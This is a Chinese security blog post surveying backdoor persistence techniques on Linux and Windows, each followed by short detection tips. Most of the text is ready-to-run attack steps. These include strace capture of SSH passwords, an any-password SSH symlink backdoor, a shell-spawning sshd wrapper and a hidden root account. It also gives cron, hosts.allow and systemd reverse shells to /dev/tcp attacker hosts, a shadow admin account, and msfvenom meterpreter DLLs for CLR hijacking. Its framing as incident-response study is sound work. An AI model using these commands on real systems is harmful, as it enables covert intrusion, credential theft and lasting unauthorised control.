Windows&Linux后门技术初探

当拿下一台服务器,为达到长久控制的目的,如何结合系统自身的某些特性,达到持久化控制的效果呢?知其白,守其黑,为天下式,在应急响应的过程中,又该如何尽早地排查出这些后门?

Linux

strace获取登录凭证

留后门

凭证将会通过strace追踪到系统sshd进程,并将追踪到的信息保存到log文件,这些信息中包含了系统明文密码以及ssh私钥。

1.查看sshd的进程pid:

1
2
$ ps -ef | grep sshd
root 887 1 0 01:04 ? 00:00:00 /usr/sbin/sshd -D

2.strace跟踪进程:

1
2
$ sudo strace -f -p 887 -o /tmp/.ssh.log -e trace=read,write -s 4096
strace: Process 887 attached

3.等待相应的用户使用ssh登录,strace捕获到的凭证将会保存在/tmp/.ssh.log文件下:

1
2
3
4
5
6
7
8
9
10
11
12
$ cat .ssh.log | grep "write(4"
2049 write(4, "\0\0\0@\6", 5) = 5
2049 write(4, "\0\0\0\1\0\0\0 \5\262\210\334A\260l5\335\224\362\344\347\225;\324\226\215_\235\231\302\37\233\3\257b=\266}\213\340\0\0\0\23ecdsa-sha2-nistp256", 63) = 63
2049 write(4, "\0\0\0\10\10", 5) = 5
2049 write(4, "\0\0\0\1d", 5) = 5
2049 write(4, "\0\0\0\33\4", 5) = 5
2049 write(4, "\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 26) = 26
2049 write(4, "\0\0\0\v\f", 5) = 5
2049 write(4, "\0\0\0\006123456", 10) = 10 #look here
2049 write(4, "\0\0\0\1f", 5) = 5
2049 write(4, "\0\0\6\5\32", 5) = 5

也可以直接把第1、2步骤的命令合并到一条:

1
sudo strace -f -p `ps -ef | grep "sshd -D"|grep -v grep | awk {'print $2'}` -o /tmp/.ssh.log -e trace=read,write -s 4096

检查此类后门

可以通过ps 等命令查看是否存在strace进程在监控sshd,如果存在及时kill,并将该命令写入的log及时删除

其他骚操作

可以在bashrc中给常用命令起别名,运行时自动启用strace抓取口令,针对此类要检查一下bashrc有没有可疑的alias,或者使用alias工具检查有没有可疑的别名,或者创建高权限用户

SSH软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),su在pam_rootok只检测uid 0即认证成功,导致了可以使用任意密码登录。

直接启动/usr/sbin/sshd,默认使用/etc/pam.d/sshd的pam配置文件,因而不能建立任意密码登录的后门。而通过软链接的方式,实质上PAM认证是通过软链接的文件名(如:/usr/local/su),在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)。

留后门

  1. sshd服务需要启用PAM认证机制,在/etc/ssh/sshd_config文件中,设置UsePAM 为yes。如果不启用PAM,系统严格验证用户密码,不能建立后门。
  2. /etc/pam.d/目录下,对应文件里包含”auth sufficient pam_rootok.so”配置,只要PAM配置文件中包含此配置即可SSH任意密码登录

受害者主机上运行:

1
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=9999

攻击者主机上运行ssh连接命令指定上述端口即可,输入密码是任意填写即可以root身份登录:

1
2
3
4
ssh root@x.x.x.x -p 9999
root@x.x.x.x's password:
Last login: Sat Sep 23 03:40:29 2023 from x.x.x.x
root@ubuntu:~# exit

检测后门

1.查看系统当前端口状态。

这类后门会开启监听端口,我们可以先查看/etc/pam.d/目录下有哪些文件包含该配置,然后通过管道符找到异常端口及进程,再通过进程找到异常文件、杀掉进程、关闭PAM认证即可

1
2
find /etc/pam.d/ | xargs grep "pam_rootok.so"
netstat -antlp |grep -E "su|chsh|chfn|runuser"

2.查看系统登录日志

使用last系列命令检查是否有异常的登录

SSH公钥免密登录

留后门

将攻击机的公钥写入.ssh/authorized_keys文件中,即可利用公钥免密登录靶机

检测后门

检查.ssh/authorized_keys文件的变动,检查系统当前登录状态和登录记录

SSH Wrapper后门

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是13377就执行sh给个shell.

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断

留后门

靶机:

1
2
3
4
5
6
7
cd /usr/sbin/
mv sshd ../bin/ #对sshd程序做备份
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >> sshd # 4A对应的是端口号13377,十六进制3441,转ASCII就是4A
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> sshd
chmod u+x sshd
/etc/init.d/ssh restart

攻击机连接:

1
socat STDIO TCP4:192.168.52.132:22,sourceport=13377

检测后门

检查sshd文件:

1
2
ls -al /usr/sbin/sshd
cat /usr/sbin/sshd

如果有修改异常,可以选择清除后门重新安装ssh服务

添加用户

留后门

1
2
3
4
5
6
生成密码: openssl passwd -1 -salt admin 123456 
-1 的意思是使用md5crypt加密算法
-salt 指定盐为admin
123456 明文密码
然后将生成的密码按照规则写入/etc/passwd
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd

检测后门

检查/etc/passwd文件中有没有最近修改,有没有可疑的用户

Cron计划任务

留后门

攻击者将恶意代码或程序隐藏在系统磁盘中,并由计划任务调用时启动它们

1
(crontab-l; echo '*/1 * * * * /bin/bash/ tmp/1.sh;/bin/bash --noprofile -i') | crontab -

这种普通的后门可以用crontab -l轻松检查出来,更高阶一点的是利用cat工具的特性,cat默认支持一些如\r回车符、\n换行符、\f换页符等,也就是这些符号导致的能够隐藏命令。

1
(crontab -l; printf "*/1 * * * * bash-i >& /dev/tcp/ip/port 0>&1; /bin/bash --noprofile -i;\rno crontab for`whoami`%100c\n") | crontab -

检测后门

  1. 使用crontab -e检查编辑计划任务
  2. 使用vim等文本编辑工具检查cron计划任务创建的文件

SUID Shell后门

SUID权限前面的博客有过介绍,简单来说就是拥有该权限的可执行程序在执行时会以文件拥有者身份执行

留后门

复制bash程序到某个目录,并为其增加root用户的SUID权限:

1
2
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

普通用户执行/tmp/shell -p即可以root权限执行命令(但是此时我们的身份依然是原来的身份,uid没有变,但是有root的权限,euid=0)

检测后门

检查SUID设置的文件find . -perm /4000:

1
2
find . -perm /4000
./bash

然后删除或者取消SUID权限chmod u-s ./bash

Tcp wrapper后门

TCPWrappers是一个工作在第四层(传输层)的的安全工具,对有状态连接的特定服务进行安全检测并实现访问控制,凡是包含libwrap.so库文件的的程序就可以受TCPWrappers的安全控制。它的主要功能就是控制谁可以访问,常见的程序有rpcbind、vsftpd、sshd,telnet。通过修改配置文件hosts.allow,实现tcpd(Tcp Wrapper的守护进程)每当有ssh等的连接请求时,如若请求满足配置文件中的规则即可触发命令的执行。

留后门

TCP_Wrappers的使用主要是依靠两个配置文件/etc/hosts.allow, /etc/hosts.deny,用于拒绝和接受。之所以能够被用作后门是因为他存在一个参数是spawn (spawn启动一个外部程序完成执行的操作)

我们可以修改allow配置,追加以下规则:

1
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/your_ip/6666 0>&1") & :allow

然后攻击机监听端口即可:

1
nc -lvp 6666

可以使用ssh尝试连接即可触发

检测后门

检测/etc/hosts.allow, /etc/hosts.deny文件中有没有恶意命令执行的规则,如有删除恶意的代码

Systemd服务后门

留后门

/etc/systemd/system目录下新建.service文件,并赋予可执行权限,内容如下:

1
2
3
4
5
6
7
8
9
10
[Unit]
Description=System bash
After=network.target
[Service]
Type=forking
ExecStart=/home/user/re.sh
ExecReload=
ExecStop=
[Install]
WantedBy=multi-user.target

其中/home/user/re.sh的内容为反弹shell命令:

1
2
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.1.20/9999 0>&1

启动服务后即可收到反弹shell:

1
2
3
4
5
6
netcat -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from 192.168.1.20 61971 received!
bash: cannot set terminal process group (3195): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/#

检查后门

检查/etc/systemd/system/usr/lib/systemd/system目录下有没有可疑的服务并删除恶意代码

Windows

映像劫持

对于在Windows Vista和Windows Server 2008 及更高的版本中,替换的二进制文件受到了系统的保护,无法使用经典的shift后门(直接替换相应的系统程序为恶意程序)。”映像劫持”,也被称为”IFEO”,Image File Execution Options(其实应该称为”image Hijack”。)是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。由于这个项主要是用来调试程序用的,对一般用户意义不大。默认是只有管理员和local system有权读写修改。

留后门

当目标程序被映像劫持时,当我们启动目标程序时,启动的是劫持后的程序而不是原来的程序。在注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options目录下新建sethc.exe项目(也可以替换成其他的常用的),然后在该项目下新建字符串键值"debugger"="C:\\Windows\\System32\\cmd.exe",路径为恶意程序路径。

下次用户使用sethc.exe时就会触发恶意程序执行

检测后门

检查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution 注册表项中有没有可疑的debugger键值

DLL劫持

DLL劫持指病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。

DLL(动态链接库)作为 windows 的函数库,有助于促进代码的模块化、代码重用、有效的内存使用并减少磁盘空间;一个应用程序运行时可能需要依赖于多个 DLL 的函数才能完成功能,如果控制其中任一 DLL,那么便可以控制该应用程序的执行流程。

桌面程序目前默认的DLL加载顺序为Dynamic-link library search order - Win32 apps | Microsoft Learn

留后门

生成恶意的DLL文件,并且通过函数转发调用原始的DLL函数,完全不会影响应用程序的运行。可以选择劫持某应用程序特有的DLL,我们使用恶意 DLL 替换目标文件,然后再将原始 DLL 重命名并放置在应用程序同目录下(以便函数转发可以顺利进行),当应用程序启动时就可以加载我们的恶意 DLL。当然也可以针对公共的DLL进行劫持,由于公共DLL可能被其他应用加载到内存,所以可能需要重启才能生效,具体DLL劫持可以参考dll 劫持和应用研究 - FreeBuf网络安全行业门户

检测

防御主要靠应用开发者对加载的DLL进行校验,从Windows 7的KB2533623补丁开始,微软更新了三个解决DLL劫持问题的新API:SetDefaultDllDirectories,AddDllDirectory,RemoveDllDirectory这几个API配合使用,可以有效的规避DLL劫持问题

检查可以使用Process Monitor查看应用加载的DLL,分析导入导出DLL。使用自动化检测工具sensepost/rattler: Automated DLL Enumerator (github.com)

注册表开机自启动项

MSFPersistence模块利用的就是写注册表自启动项来实现的,一般自启动项是这两个键:RunRunOnce,两者的区别如下:

  1. Run:该项下的键值即为开机启动项,每一次随着开机而启动。
  2. RunOnce:RunOnce和Run差不多,唯一的区别就是RunOnce的键值只作用一次,执行完毕后就会自动删除

常见注册表启动项键的位置:

用户级

1
2
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

系统级

1
2
3
4
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

留后门

在上述启动项位置新建字符串值,写入恶意的程序启动命令键值即可

检测

检查以上注册表启动位置有没有可疑的启动项

定时任务

windows下定时任务的命令有两个分别是:atschtasks,他们两者主要区别是at命令在win708等高版本的windows中是不能将任务在前台执行的,也就是只会打开一个后台进程,而schtasks是将定时的任务在前台执行

留后门

AT命令(win10已经弃用):

1
2
AT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"

schtasks命令:

1
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?

检测

schtasks 命令可以查看所有计划任务,查看有没有可疑的计划任务

注册表用户登录初始化

Userinit的作用是用户在进行登陆初始化设置时,WinLogon进程会执行指定的login scripts,所以我们可以修改它的键值来添加我们要执行的程序

留后门

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon注册表项中有个Userinit项,其中值为逗号分隔的启动项,我们可以在里面添加后门程序的启动

检测

检查注册表Userinit是否有可疑的初始化项

自启动服务

自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务

留后门

可以使用metasploit框架注册一个服务,运行之后msf会在%TMP%目录下创建一个随机名称的文件夹,然后在该文件夹里面生成三个文件:metsvc.dllmetsvc-server.exemetsvc.exe

检测

检查服务中有没有可疑的启动项,检查服务开放的端口

影子用户

影子用户顾名思义就是一个隐藏用户,只能通过注册表查看这个用户,其它方式是找不到这个用户的信息的

留后门

  1. 在用户名后面加一个$可以创建一个匿名用户,创建完毕后我们再把这个用户添加到administrator组
1
2
net user test$ 123456 /add
net localgroup administrators test$ /add

这样我们就创建了一个隐藏账户并加入管理员组,密码为123456

  1. 打开注册表,定位到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names(如果没有编辑权限可以先赋予当前用户administrator的具有完全控制和读取权限)

  2. 查看administrator对应的键值为1f4和隐藏账户test$的键值为3e9,然后在Users中找到对应数字的F值,将3e9的F值替换为1f4的F值,将00003e9和test$按顺序导出为1.reg和2.reg

  3. 然后删除用户,net user test$ /del

  4. 按顺序导入刚才导出的注册表文件

检测

检查注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names用户是否与 lusrmgr.msc 中的用户是否一致

CLR劫持

CLR(公共语言运行库,Common Language Runtime)和Java虚拟机一样也是一个运行时环境,是一个可由多种编程语言使用的运行环境。CLR能够劫持系统中全部.net程序,而且系统默认会调用.net程序,从而导致我们的后门自动触发,这是我们后门持久化的一个好的思路。

留后门

修改注册表添加表项:

1
2
3
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{GGUUGGUU-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /VE /T REG_SZ /D "C:\Windows\System32\test.dll" /F

REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{GGUUGGUU-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

使用msf创建dll后门:

1
2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=yourip LPORT=444 -f dll > test.dll       32位
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=yourip LPORT=444 -f dll > test.dll 64位

将后门放入目标主机C:\Windows\System32\test.dll

设置目标系统环境变量(需要管理员权限,要注册为全局变量,不然只能在当前cmd窗口劫持.net程序):

1
2
SETX COR_ENABLE_PROFILING 1 /M   
SETX COR_PROFILER {GGUUGGUU-1234-1234-1234-AABBCCDDEEFF} /M

随后目标主机执行powershell之类的.net程序即可触发后门

检测

  1. 检查环境变量COR_ENABLE_PROFILING和COR_PROFILER

  2. 检查注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID中有无可疑项

office后门

参考:https://github.com/3gstudent/Office-Persistence/

文件关联

文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系。一个文件可以与多个应用程序发生关联。可以利用文件的“打开方式”进行关联选择。
举个例子来说,位图文件(BMP文件)在Windows中的默认关联程序是“图片”,如果将其默认关联改为用ACDSee程序来打开,那么ACDSee就成了它的默认关联程序。

我们可以用assoc命令显示或修改文件扩展名关联,用ftype命令显示或修改用在文件扩展名关联中的文件类型:

1
2
3
4
5
>assoc .txt
.txt=txtfile

>ftype txtfile
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1

相关的注册表:

1
2
3
HKEY_CURRENT_USER\Software\Classe    //保存了当前用户的类注册和文件扩展名信息
HKEY_LOCAL_MACHINE\Software\Classe //保存了系统所有用户用户的类注册和文件扩展名信息
HKEY_CLASS_ROOT //HKEY_CLASSES_ROOT项提供合并来自上面两个的信息的注册表的视图

留后门

.txt为例,通过文件关联来修改它默认打开的程序。
修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默认值为我们要执行的程序,将 %SystemRoot%\system32\NOTEPAD.EXE %1修改为%SystemRoot%\system32\calc.exe %1

打开txt文件即可弹出计算器

检测

检查注册表项文件扩展名关联程序有无异常,或者使用ftype和assoc检查常见的文件关联有无异常

快捷方式

留后门

举个远程桌面快捷方式的例子,将目标处的%windir%\system32\mstsc.exe替换为%windir%\system32\cmd.exe /c calc.exe&mstsc.exe,用户点击快捷方式时即可触发cmd的执行

检测

检查快捷方式的目标是否有可疑的使用&连接的多个程序的执行

attrib隐藏文件

1
2
3
4
5
6
7
8
9
10
11
attrib 
\+ 设置属性。
\- 清除属性。
R 只读文件属性。
A 存档文件属性。
S 系统文件属性。
H 隐藏文件属性。
I 无内容索引文件属性。
X 无清理文件属性。
V 完整性属性
attrib +s +a +h +r 1.txt 增加系统文件属性、只读文件属性等即使查看隐藏文件也看不见

使用dir /a可以查看到隐藏的文件


Windows&Linux后门技术初探
https://chujian521.github.io/blog/2023/09/23/Windows-Linux后门技术初探/
作者
Encounter
发布于
2023年9月23日
许可协议